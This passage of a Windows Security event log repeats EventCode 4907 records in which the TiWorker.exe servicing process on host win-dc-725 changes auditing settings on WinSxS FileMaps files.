	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247578
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_directoryservices_b618ab98d94f9ec8.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247577
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0000_b76570db4564f96c.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247576
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0409_b765704b4564fab9.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247575
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_ntds_0ef7086abde34382.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247574
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_inf_3f581daba4c8c835.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247573
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_pla_reports_en-us_04eb81229a78dfb4.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247572
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_pla_reports_a2604845b2b380ca.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247571
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_pla_rules_en-us_8cd2a7c250e636a2.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247570
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_pla_rules_0bde462ce96f215e.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247569
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_pla_system_571618c4f89c6368.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247568
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_addsdeployment_internal_6dd790b76065b9c7.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247567
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_adprep_103763c9308d2cf6.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247566
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_drivers_dc1b782427b5ee1b.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247565
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_en_9da4492827ac64e5.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247564
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_en-us_429cd25484dc6f94.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247563
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_migration_927a21df1acd7c18.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247562
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_adstatus_en-us_598d775e25df3776.cdf-ms
	Handle ID:	0xdd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247561
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_adstatus_3d598f1a257714d4.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247560
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_en-us_4555b1beb1c13883.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247559
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_wbem_06656d9fdf2f8577.cdf-ms
	Handle ID:	0x554

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247558
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_addsdeployment_en-us_2a74edccc1769c65.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247557
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_addsdeployment_7c6e6fd78a5229e5.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247556
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespace_76cc4c037f1ec6b8.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247555
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceaccess_fafeb1eac22b971e.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247554
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespacefolder_fa628b96c354deb2.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247553
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespacefoldertarget_93cbfec69ca8dba5.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247552
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceroottarget_73120b72a6f80f93.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247551
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_msft_dfsnamespaceserverconfig_91d2af3f6ce50f5d.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247550
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_dfsn_6a826925d13e6565.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247549
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_grouppolicy_en-us_97cae6696b4b501f.cdf-ms
	Handle ID:	0xcd8

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247548
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Object:
	Object Server:	Security
	Object Type:	File
	Object Name:	C:\Windows\WinSxS\FileMaps\$$_system32_windowspowershell_v1.0_modules_grouppolicy_b883802c54ca5457.cdf-ms
	Handle ID:	0xcdc

Process Information:
	Process ID:	0xd00
	Process Name:	C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe

Auditing Settings:
	Original Security Descriptor:	
	New Security Descriptor:		S:ARAI(AU;SAFA;0x1f0116;;;WD)
03/11/2021 11:42:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4907
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=247547
Keywords=Audit Success
Message=Auditing settings on object were changed.

Subject:
